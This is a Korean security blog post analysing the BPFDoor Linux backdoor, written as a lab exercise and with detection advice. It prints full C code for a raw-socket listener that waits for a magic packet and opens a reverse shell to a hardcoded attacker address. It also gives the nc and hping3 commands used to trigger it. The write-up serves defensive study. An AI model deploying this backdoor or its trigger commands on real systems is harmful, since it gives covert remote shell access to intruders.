BPFDoor: raw socket으로 리버스쉘을?

노가다·2025년 4월 27일
0
post-thumbnail

1. 서론

최근 SKT 해킹 사고로 리눅스 기반 고급 백도어 BPFDoor가 주목받고 있다.
언뜻 보면 탐지가 거의 불가능할 것 같은 초은닉 악성코드처럼 보이나, 공개된 분석 리포트 및 PoC 코드 샘플 등을 살펴본 결과, 완전히 새로운 형태의 위협은 아니며 탐지 및 대응이 충분히 가능한 것으로 판단된다.

또한 커널레벨에서 은닉하는 탓에 약간의 오해를 불러일으키는 부분이 있어서 이 글에서는 BPFDoor의 구조와 동작 원리를 실습과 함께 정리한다. raw socket과 은닉성에 대해 알아본다.


2. BPF란 무엇인가

  • Berkeley Packet Filter(BPF): 커널 레벨에서 네트워크 패킷을 고속으로 필터링하기 위해 1992년 UC Berkeley에서 개발
  • 원래는 tcpdump, wireshark 등의 트래픽 캡처 최적화를 위해 만들어짐
  • 최근에는 eBPF로 확장되어, 시스템 트레이싱, 보안 모니터링까지 활용 범위 확대

예시: tcpdump에서 BPF 필터를 적용해 특정 트래픽만 수집하는 방식 확인 가능

sudo tcpdump -i eth0 port 80 -d

3. BPFDoor란 무엇인가

  • 리눅스 시스템을 타깃으로 하는 고급 백도어
  • 주요 특징:
    • 포트리스닝 없이 명령 수신 (Raw socket + BPF 필터 활용)
    • 매직 패킷 기반 트리거 방식
    • 파일/프로세스명 위장 (예: kworker, rsyslogd)
    • 설치 경로 은닉 (/usr/lib, /tmp 등)
  • 매직 패킷 수신 이후에는 평범한 TCP 리버스쉘 연결 (실제로는 페이로드 난독화가 들어가겠죠)

4. PoC 실습

실제 공격에 사용된 C2 인프라 수준의 BPFDoor가 아니라 단순한 기능 테스트 정도로 실습

GitHub PoC 사용: gwillgues/BPFDoor

수정 사항:

  • 매직 패킷 수신 후 리버스쉘 연결 기능 추가
  • 이더넷/IP/TCP 헤더 54바이트 스킵 후 Payload에서 매직 문자열 검색

수정된 코드:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <linux/filter.h>
#include <sys/ioctl.h>
#include <net/if.h>

#define INTERFACE "ens33"
#define ATTACKER_IP "192.168.73.152"
#define ATTACKER_PORT 4444

// 매직 패킷 시그니처
#define MAGIC "MAGIC"

void spawn_reverse_shell(const char* attacker_ip, int attacker_port) {
    int sockfd;
    struct sockaddr_in attacker_addr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("socket");
        exit(1);
    }

    memset(&attacker_addr, 0, sizeof(attacker_addr));
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(attacker_port);
    attacker_addr.sin_addr.s_addr = inet_addr(attacker_ip);

    if (connect(sockfd, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) < 0) {
        perror("connect");
        exit(1);
    }

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char *const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int is_magic_packet(unsigned char *buffer, int size) {
    if (size < 54) return 0; // 14(Ethernet) + 20(IP) + 20(TCP) 대략 예상
    unsigned char *payload = buffer + 54; // 헤더 54바이트 스킵
    int payload_size = size - 54;
    if (payload_size < strlen(MAGIC)) return 0;
    if (memcmp(payload, MAGIC, strlen(MAGIC)) == 0) return 1;
    return 0;
}

int main() {
    int sock;
    struct ifreq ifr;
    struct sockaddr_ll sll;
    unsigned char buffer[2048];

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) {
        perror("socket");
        exit(1);
    }

    strncpy(ifr.ifr_name, INTERFACE, IFNAMSIZ - 1);
    if (ioctl(sock, SIOCGIFINDEX, &ifr) < 0) {
        perror("ioctl");
        close(sock);
        exit(1);
    }

    memset(&sll, 0, sizeof(sll));
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifr.ifr_ifindex;
    sll.sll_protocol = htons(ETH_P_ALL);

    if (bind(sock, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
        perror("bind");
        close(sock);
        exit(1);
    }

    printf("[+] Listening on %s for magic packet...\n", INTERFACE);

    while (1) {
        ssize_t packet_size = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL);
        if (packet_size > 0) {
            if (is_magic_packet(buffer, packet_size)) {
                printf("[+] Magic packet received! Spawning reverse shell...\n");
                spawn_reverse_shell(ATTACKER_IP, ATTACKER_PORT);
                break; // 리버스쉘 종료 후 루프 탈출
            }
        }
    }

    close(sock);
    return 0;
}

동작 흐름:

┌──────────────────────────────────────────────────┐
            타겟 머신 (bpfdoor_revshell 감염)           
                                                  
 1. Raw Socket 생성                               
                                                  
 2. 패킷 수신 (recvfrom())                         
    (모든 패킷을 수신하는 상태)          
└──────────────────────────────────────────────────┘    
                        │
                        ▼
┌──────────────────────────────────────────────────┐
             공격자 머신 (1.1.1.1)                   
                                                  
 1. nc -lvp 4444 (리버스쉘 포트 리스닝)                           
                                                  
 2. hping3 -E magic.txt -d 5 -p 12345 TARGET_IP   
    (Payload에 "MAGIC" 문자열 삽입해서 패킷 전송)        
└──────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────┐
            타겟 머신 (bpfdoor_revshell 감염)      
            
1. Ethernet/IP/TCP 헤더 54바이트 스킵             
                                                  
2. Payload 영역 검사                             
    └── "MAGIC" 문자열이 발견되면                  
                                                  
3. spawn_reverse_shell() 호출                    
    └── 공격자(1.1.1.1:4444)로 리버스쉘 연결       
└──────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────┐
             공격자 머신 (1.1.1.1)                                   
                                                  
 1. 리버스쉘 획득 (/bin/sh)                    
 2. 명령어 실행 가능              
└──────────────────────────────────────────────────┘

실제 결과:


5. (과거) BPFDoor의 은닉성 분석

내가 궁금했던 부분은 BPFDoor의 은닉성이었다. BPFDoor의 핵심은 TCP를 이용한 일반적인 백도어 포트 바인딩이 아닌 커널레벨에서 raw socket을 사용한다는 것인데, 이 “사용한다”의 의미가 애매모호했다.

처음 들었을 때는 “raw socket으로 리버스쉘을 연결한다는건가? 그게 어떻게 가능하지?” 라고 생각했는데, 그게 아니었다. raw socket을 통한 은닉은 리버스쉘 연결 전 대기상태까지를 의미한다.

BPFDoor 은닉성에 대한 정확한 해석 (자료 발췌)

  • Elastic Security (2022) "The backdoor opens a simple TCP connection to the controller, with no encryption or additional obfuscation."
  • PwC Threat Intelligence (2021) "After packet filtering, the tool establishes an unencrypted shell via TCP."
  • Trend Micro Analysis (2025) "BPFDoor opens a reverse shell connection without using SSL/TLS or HTTP obfuscation."

모든 공식 분석 결과가 'plain TCP connection', 'unencrypted', 'no obfuscation' 라고 명시하고 있다.
공개된 샘플상에도 리버스쉘 수립 단계에서 SSL/TLS 라이브러리 호출, Base64 encoding, HTTP wrapping 같은 추가 레이어가 전혀 없다.

지금까지 공개된 BPFDoor 관련 기술 분석 및 실제 샘플 행위 분석 기준으로, 리버스쉘 연결에 추가 은닉 기술을 사용하지 않았다.

BPFDoor 은닉성에 대한 결론

  • 트리거 대기 상태 (은닉성 매우 높음)
    • raw socket(AF_PACKET) 사용
    • netstat, ss, lsof로 탐지 불가
    • 매직 패킷 없으면 패시브 대기
  • 리버스쉘 연결 이후 (은닉성 낮음)
    • 일반 TCP 연결 (표준 포트 사용)
    • SSL/TLS 암호화 없음
    • HTTP/DNS 트래픽 위장 없음
    • bash 세션 평문 노출
    • 공격자 IP/Port가 하드코딩된 사례 존재

그럼 BPFDoor는 왜 리버스쉘에는 난독화를 사용하지 않았을까? 라는 의문이 생기는데, gpt한테 물어보니 이렇게 답변해준다.

하지만 실제 이번 SKT 해킹에 사용된 공격코드에는 쉘 연결에 SSL 세션을 생성하는 코드가 들어가 있는 것으로 보인다.
당연하지만 전통적인 코발트 스트라이크 계열의 C2 역시 난독화는 기본으로 들어가니까 이 역시 BPFDoor만의 특별한 점은 아니다.


6. 비정상적인 raw socket 탐지 방법

  • PACKET 소켓 사용하는 이상 프로세스 탐지
    • AF_PACKET 소켓은 IP가 아닌 L2 이더넷 프레임을 다루는 raw socket
    • 즉, 이 것은 TCP/IP 스택 위로 올라오기 전의 원시 패킷(raw packet)을 의미
    • 일반적인 상태에서 이 소켓은 나타나지 않음 (tcpdump, wireshark 등이 동작 중일 때 확인 가능)
    • 서버에서 현재 tcpdump, wireshark가 돌고 있거나 netfilter(iptables)가 실시간 참조되는 상황도 아닌데 ss 결과로 packet가 나온다? 그럼 의심해볼 상황
  • 실제 서버에서sudo ss -a -p -A packet 결과 (위 PoC에서 사용한 BFDoor raw socket 열린 상태)

하지만 이건 어디까지는 PoC 코드로 실행하거니까 ss로 확인 가능, 실제 리얼월드에서 사용되는 raw socket 트리거 악성코드는 다양한 우회나 은폐 방법으로 일반적인 시스템 관리 명령어로 확인이 어려울 것으로 추정


7. 결론

BPFDoor는 매직 패킷 트리거 대기 단계에서 초초초 은닉성을 보여준다.
우리가 흔히 사용하는 리눅스 유저레벨의 각종 명령과 기능으로는 사실상 탐지가 초초초 어려운 것이 맞겠다.
하지만 리버스쉘 연결 이후부터는 기존 리버스쉘 공격과 큰 차이가 없다.

현재 필드나 각종 커뮤니티에서 이 부분에 대한 오해가 있는 것 같다.
"BPFDoor의 리버스쉘은 TCP 세션을 사용하지 않는대~"

BPFDoor는 리버스쉘을 은닉하는게 아니고 트리거를 은닉한다.
정확히는 raw socket은 매직패킷을 수신 대기하고 있는 상태에서만 해당된다.

리버스쉘 이후 단계는 코발트 스트라이크 계열의 전통적인 C2 인프라와 다를게 없는 것 같다.

요약:

BPFDoor는 "은닉성이 강화된 고전적 리버스쉘"에 불과하며, 체계적 방어 체계를 갖춘 환경에서는 탐지 및 대응이 충분히 가능하다. (여기서 "충분히"의 의미는 각자 유연하게 해석 바람)


8. 레퍼런스

  1. https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
  2. https://www.trendmicro.com/ko_kr/research/25/d/bpfdoor-hidden-controller.html
  3. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  4. https://asec.ahnlab.com/ko/83742/
  5. https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
profile
1. 무슨 일을 반복되게 행하는 걸 말함 2. 힘들고 고된일을 흔히 지칭함

0개의 댓글